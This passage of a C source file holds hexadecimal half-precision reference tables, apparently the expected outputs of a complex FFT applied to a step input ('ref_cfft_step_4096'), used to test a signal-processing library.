0x0, 0x0, 0xbb33, 0xbe75, 0x0, 0x0, 0xbb33, 0xbe7b,
0x0, 0x0, 0xbb33, 0xbe81, 0x0, 0x0, 0xbb33, 0xbe87,
0x0, 0x0, 0xbb33, 0xbe8d, 0x0, 0x0, 0xbb33, 0xbe94,
0x0, 0x0, 0xbb33, 0xbe9a, 0x0, 0x0, 0xbb33, 0xbea0,
0x0, 0x0, 0xbb33, 0xbea6, 0x0, 0x0, 0xbb33, 0xbeac,
0x0, 0x0, 0xbb33, 0xbeb3, 0x0, 0x0, 0xbb33, 0xbeb9,
0x0, 0x0, 0xbb33, 0xbebf, 0x0, 0x0, 0xbb33, 0xbec6,
0x0, 0x0, 0xbb33, 0xbecc, 0x0, 0x0, 0xbb33, 0xbed3,
0x0, 0x0, 0xbb33, 0xbed9, 0x0, 0x0, 0xbb33, 0xbee0,
0x0, 0x0, 0xbb33, 0xbee6, 0x0, 0x0, 0xbb33, 0xbeed,
0x0, 0x0, 0xbb33, 0xbef4, 0x0, 0x0, 0xbb33, 0xbefa,
0x0, 0x0, 0xbb33, 0xbf01, 0x0, 0x0, 0xbb33, 0xbf08,
0x0, 0x0, 0xbb33, 0xbf0f, 0x0, 0x0, 0xbb33, 0xbf16,
0x0, 0x0, 0xbb33, 0xbf1c, 0x0, 0x0, 0xbb33, 0xbf23,
0x0, 0x0, 0xbb33, 0xbf2a, 0x0, 0x0, 0xbb33, 0xbf31,
0x0, 0x0, 0xbb33, 0xbf39, 0x0, 0x0, 0xbb33, 0xbf40,
0x0, 0x0, 0xbb33, 0xbf47, 0x0, 0x0, 0xbb33, 0xbf4e,
0x0, 0x0, 0xbb33, 0xbf55, 0x0, 0x0, 0xbb33, 0xbf5d,
0x0, 0x0, 0xbb33, 0xbf64, 0x0, 0x0, 0xbb33, 0xbf6b,
0x0, 0x0, 0xbb33, 0xbf73, 0x0, 0x0, 0xbb33, 0xbf7a,
0x0, 0x0, 0xbb33, 0xbf82, 0x0, 0x0, 0xbb33, 0xbf89,
0x0, 0x0, 0xbb33, 0xbf91, 0x0, 0x0, 0xbb33, 0xbf99,
0x0, 0x0, 0xbb33, 0xbfa0, 0x0, 0x0, 0xbb33, 0xbfa8,
0x0, 0x0, 0xbb33, 0xbfb0, 0x0, 0x0, 0xbb33, 0xbfb8,
0x0, 0x0, 0xbb33, 0xbfc0, 0x0, 0x0, 0xbb33, 0xbfc8,
0x0, 0x0, 0xbb33, 0xbfd0, 0x0, 0x0, 0xbb33, 0xbfd8,
0x0, 0x0, 0xbb33, 0xbfe0, 0x0, 0x0, 0xbb33, 0xbfe8,
0x0, 0x0, 0xbb33, 0xbff1, 0x0, 0x0, 0xbb33, 0xbff9,
0x0, 0x0, 0xbb33, 0xc001, 0x0, 0x0, 0xbb33, 0xc005,
0x0, 0x0, 0xbb33, 0xc009, 0x0, 0x0, 0xbb33, 0xc00d,
0x0, 0x0, 0xbb33, 0xc012, 0x0, 0x0, 0xbb33, 0xc016,
0x0, 0x0, 0xbb33, 0xc01a, 0x0, 0x0, 0xbb33, 0xc01f,
0x0, 0x0, 0xbb33, 0xc023, 0x0, 0x0, 0xbb33, 0xc028,
0x0, 0x0, 0xbb33, 0xc02c, 0x0, 0x0, 0xbb33, 0xc031,
0x0, 0x0, 0xbb33, 0xc035, 0x0, 0x0, 0xbb33, 0xc03a,
0x0, 0x0, 0xbb33, 0xc03e, 0x0, 0x0, 0xbb33, 0xc043,
0x0, 0x0, 0xbb33, 0xc048, 0x0, 0x0, 0xbb33, 0xc04d,
0x0, 0x0, 0xbb33, 0xc051, 0x0, 0x0, 0xbb33, 0xc056,
0x0, 0x0, 0xbb33, 0xc05b, 0x0, 0x0, 0xbb33, 0xc060,
0x0, 0x0, 0xbb33, 0xc065, 0x0, 0x0, 0xbb33, 0xc06a,
0x0, 0x0, 0xbb33, 0xc06f, 0x0, 0x0, 0xbb33, 0xc074,
0x0, 0x0, 0xbb33, 0xc079, 0x0, 0x0, 0xbb33, 0xc07e,
0x0, 0x0, 0xbb33, 0xc083, 0x0, 0x0, 0xbb33, 0xc088,
0x0, 0x0, 0xbb33, 0xc08d, 0x0, 0x0, 0xbb33, 0xc092,
0x0, 0x0, 0xbb33, 0xc098, 0x0, 0x0, 0xbb33, 0xc09d,
0x0, 0x0, 0xbb33, 0xc0a2, 0x0, 0x0, 0xbb33, 0xc0a8,
0x0, 0x0, 0xbb33, 0xc0ad, 0x0, 0x0, 0xbb33, 0xc0b3,
0x0, 0x0, 0xbb33, 0xc0b8, 0x0, 0x0, 0xbb33, 0xc0be,
0x0, 0x0, 0xbb33, 0xc0c4, 0x0, 0x0, 0xbb33, 0xc0c9,
0x0, 0x0, 0xbb33, 0xc0cf, 0x0, 0x0, 0xbb33, 0xc0d5,
0x0, 0x0, 0xbb33, 0xc0db, 0x0, 0x0, 0xbb33, 0xc0e0,
0x0, 0x0, 0xbb33, 0xc0e6, 0x0, 0x0, 0xbb33, 0xc0ec,
0x0, 0x0, 0xbb33, 0xc0f2, 0x0, 0x0, 0xbb33, 0xc0f8,
0x0, 0x0, 0xbb33, 0xc0ff, 0x0, 0x0, 0xbb33, 0xc105,
0x0, 0x0, 0xbb33, 0xc10b, 0x0, 0x0, 0xbb33, 0xc111,
0x0, 0x0, 0xbb33, 0xc118, 0x0, 0x0, 0xbb33, 0xc11e,
0x0, 0x0, 0xbb33, 0xc124, 0x0, 0x0, 0xbb33, 0xc12b,
0x0, 0x0, 0xbb33, 0xc131, 0x0, 0x0, 0xbb33, 0xc138,
0x0, 0x0, 0xbb33, 0xc13f, 0x0, 0x0, 0xbb33, 0xc146,
0x0, 0x0, 0xbb33, 0xc14c, 0x0, 0x0, 0xbb33, 0xc153,
0x0, 0x0, 0xbb33, 0xc15a, 0x0, 0x0, 0xbb33, 0xc161,
0x0, 0x0, 0xbb33, 0xc168, 0x0, 0x0, 0xbb33, 0xc16f,
0x0, 0x0, 0xbb33, 0xc176, 0x0, 0x0, 0xbb33, 0xc17e,
0x0, 0x0, 0xbb33, 0xc185, 0x0, 0x0, 0xbb33, 0xc18c,
0x0, 0x0, 0xbb33, 0xc194, 0x0, 0x0, 0xbb33, 0xc19b,
0x0, 0x0, 0xbb33, 0xc1a3, 0x0, 0x0, 0xbb33, 0xc1ab,
0x0, 0x0, 0xbb33, 0xc1b2, 0x0, 0x0, 0xbb33, 0xc1ba,
0x0, 0x0, 0xbb33, 0xc1c2, 0x0, 0x0, 0xbb33, 0xc1ca,
0x0, 0x0, 0xbb33, 0xc1d2, 0x0, 0x0, 0xbb33, 0xc1da,
0x0, 0x0, 0xbb33, 0xc1e3, 0x0, 0x0, 0xbb33, 0xc1eb,
0x0, 0x0, 0xbb33, 0xc1f3, 0x0, 0x0, 0xbb33, 0xc1fc,
0x0, 0x0, 0xbb33, 0xc204, 0x0, 0x0, 0xbb33, 0xc20d,
0x0, 0x0, 0xbb33, 0xc216, 0x0, 0x0, 0xbb33, 0xc21f,
0x0, 0x0, 0xbb33, 0xc227, 0x0, 0x0, 0xbb33, 0xc230,
0x0, 0x0, 0xbb33, 0xc23a, 0x0, 0x0, 0xbb33, 0xc243,
0x0, 0x0, 0xbb33, 0xc24c, 0x0, 0x0, 0xbb33, 0xc255,
0x0, 0x0, 0xbb33, 0xc25f, 0x0, 0x0, 0xbb33, 0xc269,
0x0, 0x0, 0xbb33, 0xc272, 0x0, 0x0, 0xbb33, 0xc27c,
0x0, 0x0, 0xbb33, 0xc286, 0x0, 0x0, 0xbb33, 0xc290,
0x0, 0x0, 0xbb33, 0xc29a, 0x0, 0x0, 0xbb33, 0xc2a5,
0x0, 0x0, 0xbb33, 0xc2af, 0x0, 0x0, 0xbb33, 0xc2b9,
0x0, 0x0, 0xbb33, 0xc2c4, 0x0, 0x0, 0xbb33, 0xc2cf,
0x0, 0x0, 0xbb33, 0xc2da, 0x0, 0x0, 0xbb33, 0xc2e5,
0x0, 0x0, 0xbb33, 0xc2f0, 0x0, 0x0, 0xbb33, 0xc2fb,
0x0, 0x0, 0xbb33, 0xc307, 0x0, 0x0, 0xbb33, 0xc312,
0x0, 0x0, 0xbb33, 0xc31e, 0x0, 0x0, 0xbb33, 0xc32a,
0x0, 0x0, 0xbb33, 0xc336, 0x0, 0x0, 0xbb33, 0xc342,
0x0, 0x0, 0xbb33, 0xc34e, 0x0, 0x0, 0xbb33, 0xc35a,
0x0, 0x0, 0xbb33, 0xc367, 0x0, 0x0, 0xbb33, 0xc374,
0x0, 0x0, 0xbb33, 0xc381, 0x0, 0x0, 0xbb33, 0xc38e,
0x0, 0x0, 0xbb33, 0xc39b, 0x0, 0x0, 0xbb33, 0xc3a8,
0x0, 0x0, 0xbb33, 0xc3b6, 0x0, 0x0, 0xbb33, 0xc3c4,
0x0, 0x0, 0xbb33, 0xc3d2, 0x0, 0x0, 0xbb33, 0xc3e0,
0x0, 0x0, 0xbb33, 0xc3ee, 0x0, 0x0, 0xbb33, 0xc3fd,
0x0, 0x0, 0xbb33, 0xc406, 0x0, 0x0, 0xbb33, 0xc40d,
0x0, 0x0, 0xbb33, 0xc415, 0x0, 0x0, 0xbb33, 0xc41c,
0x0, 0x0, 0xbb33, 0xc424, 0x0, 0x0, 0xbb33, 0xc42c,
0x0, 0x0, 0xbb33, 0xc434, 0x0, 0x0, 0xbb33, 0xc43c,
0x0, 0x0, 0xbb33, 0xc444, 0x0, 0x0, 0xbb33, 0xc44d,
0x0, 0x0, 0xbb33, 0xc455, 0x0, 0x0, 0xbb33, 0xc45e,
0x0, 0x0, 0xbb33, 0xc467, 0x0, 0x0, 0xbb33, 0xc470,
0x0, 0x0, 0xbb33, 0xc479, 0x0, 0x0, 0xbb33, 0xc482,
0x0, 0x0, 0xbb33, 0xc48b, 0x0, 0x0, 0xbb33, 0xc494,
0x0, 0x0, 0xbb33, 0xc49e, 0x0, 0x0, 0xbb33, 0xc4a8,
0x0, 0x0, 0xbb33, 0xc4b2, 0x0, 0x0, 0xbb33, 0xc4bc,
0x0, 0x0, 0xbb33, 0xc4c6, 0x0, 0x0, 0xbb33, 0xc4d0,
0x0, 0x0, 0xbb33, 0xc4db, 0x0, 0x0, 0xbb33, 0xc4e5,
0x0, 0x0, 0xbb33, 0xc4f0, 0x0, 0x0, 0xbb33, 0xc4fb,
0x0, 0x0, 0xbb33, 0xc507, 0x0, 0x0, 0xbb33, 0xc512,
0x0, 0x0, 0xbb33, 0xc51e, 0x0, 0x0, 0xbb33, 0xc52a,
0x0, 0x0, 0xbb33, 0xc536, 0x0, 0x0, 0xbb33, 0xc542,
0x0, 0x0, 0xbb33, 0xc54f, 0x0, 0x0, 0xbb33, 0xc55c,
0x0, 0x0, 0xbb33, 0xc568, 0x0, 0x0, 0xbb33, 0xc576,
0x0, 0x0, 0xbb33, 0xc583, 0x0, 0x0, 0xbb33, 0xc591,
0x0, 0x0, 0xbb33, 0xc59f, 0x0, 0x0, 0xbb33, 0xc5ad,
0x0, 0x0, 0xbb33, 0xc5bc, 0x0, 0x0, 0xbb33, 0xc5cb,
0x0, 0x0, 0xbb33, 0xc5da, 0x0, 0x0, 0xbb33, 0xc5e9,
0x0, 0x0, 0xbb33, 0xc5f9, 0x0, 0x0, 0xbb33, 0xc609,
0x0, 0x0, 0xbb33, 0xc619, 0x0, 0x0, 0xbb33, 0xc62a,
0x0, 0x0, 0xbb33, 0xc63b, 0x0, 0x0, 0xbb33, 0xc64d,
0x0, 0x0, 0xbb33, 0xc65f, 0x0, 0x0, 0xbb33, 0xc671,
0x0, 0x0, 0xbb33, 0xc684, 0x0, 0x0, 0xbb33, 0xc697,
0x0, 0x0, 0xbb33, 0xc6aa, 0x0, 0x0, 0xbb33, 0xc6be,
0x0, 0x0, 0xbb33, 0xc6d3, 0x0, 0x0, 0xbb33, 0xc6e8,
0x0, 0x0, 0xbb33, 0xc6fd, 0x0, 0x0, 0xbb33, 0xc713,
0x0, 0x0, 0xbb33, 0xc729, 0x0, 0x0, 0xbb33, 0xc740,
0x0, 0x0, 0xbb33, 0xc758, 0x0, 0x0, 0xbb33, 0xc770,
0x0, 0x0, 0xbb33, 0xc789, 0x0, 0x0, 0xbb33, 0xc7a2,
0x0, 0x0, 0xbb33, 0xc7bc, 0x0, 0x0, 0xbb33, 0xc7d7,
0x0, 0x0, 0xbb33, 0xc7f3, 0x0, 0x0, 0xbb33, 0xc808,
0x0, 0x0, 0xbb33, 0xc816, 0x0, 0x0, 0xbb33, 0xc825,
0x0, 0x0, 0xbb33, 0xc834, 0x0, 0x0, 0xbb33, 0xc844,
0x0, 0x0, 0xbb33, 0xc855, 0x0, 0x0, 0xbb33, 0xc865,
0x0, 0x0, 0xbb33, 0xc877, 0x0, 0x0, 0xbb33, 0xc889,
0x0, 0x0, 0xbb33, 0xc89b, 0x0, 0x0, 0xbb33, 0xc8ae,
0x0, 0x0, 0xbb33, 0xc8c1, 0x0, 0x0, 0xbb33, 0xc8d6,
0x0, 0x0, 0xbb33, 0xc8eb, 0x0, 0x0, 0xbb33, 0xc900,
0x0, 0x0, 0xbb33, 0xc917, 0x0, 0x0, 0xbb33, 0xc92e,
0x0, 0x0, 0xbb33, 0xc946, 0x0, 0x0, 0xbb33, 0xc95f,
0x0, 0x0, 0xbb33, 0xc979, 0x0, 0x0, 0xbb33, 0xc993,
0x0, 0x0, 0xbb33, 0xc9af, 0x0, 0x0, 0xbb33, 0xc9cc,
0x0, 0x0, 0xbb33, 0xc9ea, 0x0, 0x0, 0xbb33, 0xca0a,
0x0, 0x0, 0xbb33, 0xca2a, 0x0, 0x0, 0xbb33, 0xca4c,
0x0, 0x0, 0xbb33, 0xca70, 0x0, 0x0, 0xbb33, 0xca95,
0x0, 0x0, 0xbb33, 0xcabc, 0x0, 0x0, 0xbb33, 0xcae5,
0x0, 0x0, 0xbb33, 0xcb0f, 0x0, 0x0, 0xbb33, 0xcb3c,
0x0, 0x0, 0xbb33, 0xcb6b, 0x0, 0x0, 0xbb33, 0xcb9c,
0x0, 0x0, 0xbb33, 0xcbd0, 0x0, 0x0, 0xbb33, 0xcc04,
0x0, 0x0, 0xbb33, 0xcc21, 0x0, 0x0, 0xbb33, 0xcc3f,
0x0, 0x0, 0xbb33, 0xcc60, 0x0, 0x0, 0xbb33, 0xcc82,
0x0, 0x0, 0xbb33, 0xcca7, 0x0, 0x0, 0xbb33, 0xccce,
0x0, 0x0, 0xbb33, 0xccf8, 0x0, 0x0, 0xbb33, 0xcd25,
0x0, 0x0, 0xbb33, 0xcd55, 0x0, 0x0, 0xbb33, 0xcd88,
0x0, 0x0, 0xbb33, 0xcdc0, 0x0, 0x0, 0xbb33, 0xcdfc,
0x0, 0x0, 0xbb33, 0xce3d, 0x0, 0x0, 0xbb33, 0xce84,
0x0, 0x0, 0xbb33, 0xced2, 0x0, 0x0, 0xbb33, 0xcf27,
0x0, 0x0, 0xbb33, 0xcf85, 0x0, 0x0, 0xbb33, 0xcfed,
0x0, 0x0, 0xbb33, 0xd031, 0x0, 0x0, 0xbb33, 0xd072,
0x0, 0x0, 0xbb33, 0xd0bb, 0x0, 0x0, 0xbb33, 0xd10f,
0x0, 0x0, 0xbb33, 0xd16f, 0x0, 0x0, 0xbb33, 0xd1de,
0x0, 0x0, 0xbb33, 0xd260, 0x0, 0x0, 0xbb33, 0xd2fc,
0x0, 0x0, 0xbb33, 0xd3b8, 0x0, 0x0, 0xbb33, 0xd450,
0x0, 0x0, 0xbb33, 0xd4e4, 0x0, 0x0, 0xbb33, 0xd5a4,
0x0, 0x0, 0xbb33, 0xd6ab, 0x0, 0x0, 0xbb33, 0xd813,
0x0, 0x0, 0xbb33, 0xd93d, 0x0, 0x0, 0xbb33, 0xdb55,
0x0, 0x0, 0xbb33, 0xde1d, 0x0, 0x0, 0xbb33, 0xe495
};
static const uint16_t ref_cfft_step_4096[8192] = {
0x6733, 0x0, 0xbb33, 0x6495, 0x0, 0x0, 0xbb33, 0x5e1d,
0x0, 0x0, 0xbb33, 0x5b55, 0x0, 0x0, 0xbb33, 0x593d,
0x0, 0x0, 0xbb33, 0x5813, 0x0, 0x0, 0xbb33, 0x56ab,
0x0, 0x0, 0xbb33, 0x55a4, 0x0, 0x0, 0xbb33, 0x54e4,
0x0, 0x0, 0xbb33, 0x5450, 0x0, 0x0, 0xbb33, 0x53b8,
0x0, 0x0, 0xbb33, 0x52fc, 0x0, 0x0, 0xbb33, 0x5260,
0x0, 0x0, 0xbb33, 0x51de, 0x0, 0x0, 0xbb33, 0x516f,
0x0, 0x0, 0xbb33, 0x510f, 0x0, 0x0, 0xbb33, 0x50bb,
0x0, 0x0, 0xbb33, 0x5072, 0x0, 0x0, 0xbb33, 0x5031,
0x0, 0x0, 0xbb33, 0x4fed, 0x0, 0x0, 0xbb33, 0x4f85,
0x0, 0x0, 0xbb33, 0x4f27, 0x0, 0x0, 0xbb33, 0x4ed2,
0x0, 0x0, 0xbb33, 0x4e84, 0x0, 0x0, 0xbb33, 0x4e3d,
0x0, 0x0, 0xbb33, 0x4dfc, 0x0, 0x0, 0xbb33, 0x4dc0,
0x0, 0x0, 0xbb33, 0x4d88, 0x0, 0x0, 0xbb33, 0x4d55,
0x0, 0x0, 0xbb33, 0x4d25, 0x0, 0x0, 0xbb33, 0x4cf8,
0x0, 0x0, 0xbb33, 0x4cce, 0x0, 0x0, 0xbb33, 0x4ca7,
0x0, 0x0, 0xbb33, 0x4c82, 0x0, 0x0, 0xbb33, 0x4c60,
0x0, 0x0, 0xbb33, 0x4c3f, 0x0, 0x0, 0xbb33, 0x4c21,
0x0, 0x0, 0xbb33, 0x4c04, 0x0, 0x0, 0xbb33, 0x4bd0,
0x0, 0x0, 0xbb33, 0x4b9c, 0x0, 0x0, 0xbb33, 0x4b6b,
0x0, 0x0, 0xbb33, 0x4b3c, 0x0, 0x0, 0xbb33, 0x4b0f,
0x0, 0x0, 0xbb33, 0x4ae5, 0x0, 0x0, 0xbb33, 0x4abc,
0x0, 0x0, 0xbb33, 0x4a95, 0x0, 0x0, 0xbb33, 0x4a70,
0x0, 0x0, 0xbb33, 0x4a4c, 0x0, 0x0, 0xbb33, 0x4a2a,
0x0, 0x0, 0xbb33, 0x4a0a, 0x0, 0x0, 0xbb33, 0x49ea,
0x0, 0x0, 0xbb33, 0x49cc, 0x0, 0x0, 0xbb33, 0x49af,
0x0, 0x0, 0xbb33, 0x4993, 0x0, 0x0, 0xbb33, 0x4979,
0x0, 0x0, 0xbb33, 0x495f, 0x0, 0x0, 0xbb33, 0x4946,
0x0, 0x0, 0xbb33, 0x492e, 0x0, 0x0, 0xbb33, 0x4917,
0x0, 0x0, 0xbb33, 0x4900, 0x0, 0x0, 0xbb33, 0x48eb,
0x0, 0x0, 0xbb33, 0x48d6, 0x0, 0x0, 0xbb33, 0x48c1,
0x0, 0x0, 0xbb33, 0x48ae, 0x0, 0x0, 0xbb33, 0x489b,
0x0, 0x0, 0xbb33, 0x4889, 0x0, 0x0, 0xbb33, 0x4877,
0x0, 0x0, 0xbb33, 0x4865, 0x0, 0x0, 0xbb33, 0x4855,
0x0, 0x0, 0xbb33, 0x4844, 0x0, 0x0, 0xbb33, 0x4834,
0x0, 0x0, 0xbb33, 0x4825, 0x0, 0x0, 0xbb33, 0x4816,
0x0, 0x0, 0xbb33, 0x4808, 0x0, 0x0, 0xbb33, 0x47f3,
0x0, 0x0, 0xbb33, 0x47d7, 0x0, 0x0, 0xbb33, 0x47bc,
0x0, 0x0, 0xbb33, 0x47a2, 0x0, 0x0, 0xbb33, 0x4789,
0x0, 0x0, 0xbb33, 0x4770, 0x0, 0x0, 0xbb33, 0x4758,
0x0, 0x0, 0xbb33, 0x4740, 0x0, 0x0, 0xbb33, 0x4729,
0x0, 0x0, 0xbb33, 0x4713, 0x0, 0x0, 0xbb33, 0x46fd,
0x0, 0x0, 0xbb33, 0x46e8, 0x0, 0x0, 0xbb33, 0x46d3,
0x0, 0x0, 0xbb33, 0x46be, 0x0, 0x0, 0xbb33, 0x46aa,
0x0, 0x0, 0xbb33, 0x4697, 0x0, 0x0, 0xbb33, 0x4684,
0x0, 0x0, 0xbb33, 0x4671, 0x0, 0x0, 0xbb33, 0x465f,
0x0, 0x0, 0xbb33, 0x464d, 0x0, 0x0, 0xbb33, 0x463b,
0x0, 0x0, 0xbb33, 0x462a, 0x0, 0x0, 0xbb33, 0x4619,
0x0, 0x0, 0xbb33, 0x4609, 0x0, 0x0, 0xbb33, 0x45f9,
0x0, 0x0, 0xbb33, 0x45e9, 0x0, 0x0, 0xbb33, 0x45da,
0x0, 0x0, 0xbb33, 0x45cb, 0x0, 0x0, 0xbb33, 0x45bc,
0x0, 0x0, 0xbb33, 0x45ad, 0x0, 0x0, 0xbb33, 0x459f,
0x0, 0x0, 0xbb33, 0x4591, 0x0, 0x0, 0xbb33, 0x4583,
0x0, 0x0, 0xbb33, 0x4576, 0x0, 0x0, 0xbb33, 0x4568,
0x0, 0x0, 0xbb33, 0x455c, 0x0, 0x0, 0xbb33, 0x454f,
0x0, 0x0, 0xbb33, 0x4542, 0x0, 0x0, 0xbb33, 0x4536,
0x0, 0x0, 0xbb33, 0x452a, 0x0, 0x0, 0xbb33, 0x451e,
0x0, 0x0, 0xbb33, 0x4512, 0x0, 0x0, 0xbb33, 0x4507,
0x0, 0x0, 0xbb33, 0x44fb, 0x0, 0x0, 0xbb33, 0x44f0,
0x0, 0x0, 0xbb33, 0x44e5, 0x0, 0x0, 0xbb33, 0x44db,
0x0, 0x0, 0xbb33, 0x44d0, 0x0, 0x0, 0xbb33, 0x44c6,
0x0, 0x0, 0xbb33, 0x44bc, 0x0, 0x0, 0xbb33, 0x44b2,
0x0, 0x0, 0xbb33, 0x44a8, 0x0, 0x0, 0xbb33, 0x449e,
0x0, 0x0, 0xbb33, 0x4494, 0x0, 0x0, 0xbb33, 0x448b,
0x0, 0x0, 0xbb33, 0x4482, 0x0, 0x0, 0xbb33, 0x4479,
0x0, 0x0, 0xbb33, 0x4470, 0x0, 0x0, 0xbb33, 0x4467,
0x0, 0x0, 0xbb33, 0x445e, 0x0, 0x0, 0xbb33, 0x4455,
0x0, 0x0, 0xbb33, 0x444d, 0x0, 0x0, 0xbb33, 0x4444,
0x0, 0x0, 0xbb33, 0x443c, 0x0, 0x0, 0xbb33, 0x4434,
0x0, 0x0, 0xbb33, 0x442c, 0x0, 0x0, 0xbb33, 0x4424,
0x0, 0x0, 0xbb33, 0x441c, 0x0, 0x0, 0xbb33, 0x4415,
0x0, 0x0, 0xbb33, 0x440d, 0x0, 0x0, 0xbb33, 0x4406,
0x0, 0x0, 0xbb33, 0x43fd, 0x0, 0x0, 0xbb33, 0x43ee,
0x0, 0x0, 0xbb33, 0x43e0, 0x0, 0x0, 0xbb33, 0x43d2,
0x0, 0x0, 0xbb33, 0x43c4, 0x0, 0x0, 0xbb33, 0x43b6,
0x0, 0x0, 0xbb33, 0x43a8, 0x0, 0x0, 0xbb33, 0x439b,
0x0, 0x0, 0xbb33, 0x438e, 0x0, 0x0, 0xbb33, 0x4381,
0x0, 0x0, 0xbb33, 0x4374, 0x0, 0x0, 0xbb33, 0x4367,
0x0, 0x0, 0xbb33, 0x435a, 0x0, 0x0, 0xbb33, 0x434e,
0x0, 0x0, 0xbb33, 0x4342, 0x0, 0x0, 0xbb33, 0x4336,
0x0, 0x0, 0xbb33, 0x432a, 0x0, 0x0, 0xbb33, 0x431e,
0x0, 0x0, 0xbb33, 0x4312, 0x0, 0x0, 0xbb33, 0x4307,
0x0, 0x0, 0xbb33, 0x42fb, 0x0, 0x0, 0xbb33, 0x42f0,
0x0, 0x0, 0xbb33, 0x42e5, 0x0, 0x0, 0xbb33, 0x42da,
0x0, 0x0, 0xbb33, 0x42cf, 0x0, 0x0, 0xbb33, 0x42c4,
0x0, 0x0, 0xbb33, 0x42b9, 0x0, 0x0, 0xbb33, 0x42af,
0x0, 0x0, 0xbb33, 0x42a5, 0x0, 0x0, 0xbb33, 0x429a,
0x0, 0x0, 0xbb33, 0x4290, 0x0, 0x0, 0xbb33, 0x4286,
0x0, 0x0, 0xbb33, 0x427c, 0x0, 0x0, 0xbb33, 0x4272,
0x0, 0x0, 0xbb33, 0x4269, 0x0, 0x0, 0xbb33, 0x425f,
0x0, 0x0, 0xbb33, 0x4255, 0x0, 0x0, 0xbb33, 0x424c,
0x0, 0x0, 0xbb33, 0x4243, 0x0, 0x0, 0xbb33, 0x423a,
0x0, 0x0, 0xbb33, 0x4230, 0x0, 0x0, 0xbb33, 0x4227,
0x0, 0x0, 0xbb33, 0x421f, 0x0, 0x0, 0xbb33, 0x4216,
0x0, 0x0, 0xbb33, 0x420d, 0x0, 0x0, 0xbb33, 0x4204,
0x0, 0x0, 0xbb33, 0x41fc, 0x0, 0x0, 0xbb33, 0x41f3,
0x0, 0x0, 0xbb33, 0x41eb, 0x0, 0x0, 0xbb33, 0x41e3,
0x0, 0x0, 0xbb33, 0x41da, 0x0, 0x0, 0xbb33, 0x41d2,
0x0, 0x0, 0xbb33, 0x41ca, 0x0, 0x0, 0xbb33, 0x41c2,
0x0, 0x0, 0xbb33, 0x41ba, 0x0, 0x0, 0xbb33, 0x41b2,
0x0, 0x0, 0xbb33, 0x41ab, 0x0, 0x0, 0xbb33, 0x41a3,
0x0, 0x0, 0xbb33, 0x419b, 0x0, 0x0, 0xbb33, 0x4194,
0x0, 0x0, 0xbb33, 0x418c, 0x0, 0x0, 0xbb33, 0x4185,
0x0, 0x0, 0xbb33, 0x417e, 0x0, 0x0, 0xbb33, 0x4176,
0x0, 0x0, 0xbb33, 0x416f, 0x0, 0x0, 0xbb33, 0x4168,
0x0, 0x0, 0xbb33, 0x4161, 0x0, 0x0, 0xbb33, 0x415a,
0x0, 0x0, 0xbb33, 0x4153, 0x0, 0x0, 0xbb33, 0x414c,
0x0, 0x0, 0xbb33, 0x4146, 0x0, 0x0, 0xbb33, 0x413f,
0x0, 0x0, 0xbb33, 0x4138, 0x0, 0x0, 0xbb33, 0x4131,
0x0, 0x0, 0xbb33, 0x412b, 0x0, 0x0, 0xbb33, 0x4124,
0x0, 0x0, 0xbb33, 0x411e, 0x0, 0x0, 0xbb33, 0x4118,
0x0, 0x0, 0xbb33, 0x4111, 0x0, 0x0, 0xbb33, 0x410b,
0x0, 0x0, 0xbb33, 0x4105, 0x0, 0x0, 0xbb33, 0x40ff,
0x0, 0x0, 0xbb33, 0x40f8, 0x0, 0x0, 0xbb33, 0x40f2,
0x0, 0x0, 0xbb33, 0x40ec, 0x0, 0x0, 0xbb33, 0x40e6,
0x0, 0x0, 0xbb33, 0x40e0, 0x0, 0x0, 0xbb33, 0x40db,
0x0, 0x0, 0xbb33, 0x40d5, 0x0, 0x0, 0xbb33, 0x40cf,
0x0, 0x0, 0xbb33, 0x40c9, 0x0, 0x0, 0xbb33, 0x40c4,
0x0, 0x0, 0xbb33, 0x40be, 0x0, 0x0, 0xbb33, 0x40b8,
0x0, 0x0, 0xbb33, 0x40b3, 0x0, 0x0, 0xbb33, 0x40ad,
0x0, 0x0, 0xbb33, 0x40a8, 0x0, 0x0, 0xbb33, 0x40a2,
0x0, 0x0, 0xbb33, 0x409d, 0x0, 0x0, 0xbb33, 0x4098,
0x0, 0x0, 0xbb33, 0x4092, 0x0, 0x0, 0xbb33, 0x408d,
0x0, 0x0, 0xbb33, 0x4088, 0x0, 0x0, 0xbb33, 0x4083,
0x0, 0x0, 0xbb33, 0x407e, 0x0, 0x0, 0xbb33, 0x4079,
0x0, 0x0, 0xbb33, 0x4074, 0x0, 0x0, 0xbb33, 0x406f,
0x0, 0x0, 0xbb33, 0x406a, 0x0, 0x0, 0xbb33, 0x4065,
0x0, 0x0, 0xbb33, 0x4060, 0x0, 0x0, 0xbb33, 0x405b,
0x0, 0x0, 0xbb33, 0x4056, 0x0, 0x0, 0xbb33, 0x4051,
0x0, 0x0, 0xbb33, 0x404d, 0x0, 0x0, 0xbb33, 0x4048,
0x0, 0x0, 0xbb33, 0x4043, 0x0, 0x0, 0xbb33, 0x403e,
0x0, 0x0, 0xbb33, 0x403a, 0x0, 0x0, 0xbb33, 0x4035,
0x0, 0x0, 0xbb33, 0x4031, 0x0, 0x0, 0xbb33, 0x402c,
0x0, 0x0, 0xbb33, 0x4028, 0x0, 0x0, 0xbb33, 0x4023,
0x0, 0x0, 0xbb33, 0x401f, 0x0, 0x0, 0xbb33, 0x401a,
0x0, 0x0, 0xbb33, 0x4016, 0x0, 0x0, 0xbb33, 0x4012,
0x0, 0x0, 0xbb33, 0x400d, 0x0, 0x0, 0xbb33, 0x4009,
0x0, 0x0, 0xbb33, 0x4005, 0x0, 0x0, 0xbb33, 0x4001,
0x0, 0x0, 0xbb33, 0x3ff9, 0x0, 0x0, 0xbb33, 0x3ff1,
0x0, 0x0, 0xbb33, 0x3fe8, 0x0, 0x0, 0xbb33, 0x3fe0,
0x0, 0x0, 0xbb33, 0x3fd8, 0x0, 0x0, 0xbb33, 0x3fd0,
0x0, 0x0, 0xbb33, 0x3fc8, 0x0, 0x0, 0xbb33, 0x3fc0,
0x0, 0x0, 0xbb33, 0x3fb8, 0x0, 0x0, 0xbb33, 0x3fb0,
0x0, 0x0, 0xbb33, 0x3fa8, 0x0, 0x0, 0xbb33, 0x3fa0,
0x0, 0x0, 0xbb33, 0x3f99, 0x0, 0x0, 0xbb33, 0x3f91,
0x0, 0x0, 0xbb33, 0x3f89, 0x0, 0x0, 0xbb33, 0x3f82,
0x0, 0x0, 0xbb33, 0x3f7a, 0x0, 0x0, 0xbb33, 0x3f73,
0x0, 0x0, 0xbb33, 0x3f6b, 0x0, 0x0, 0xbb33, 0x3f64,
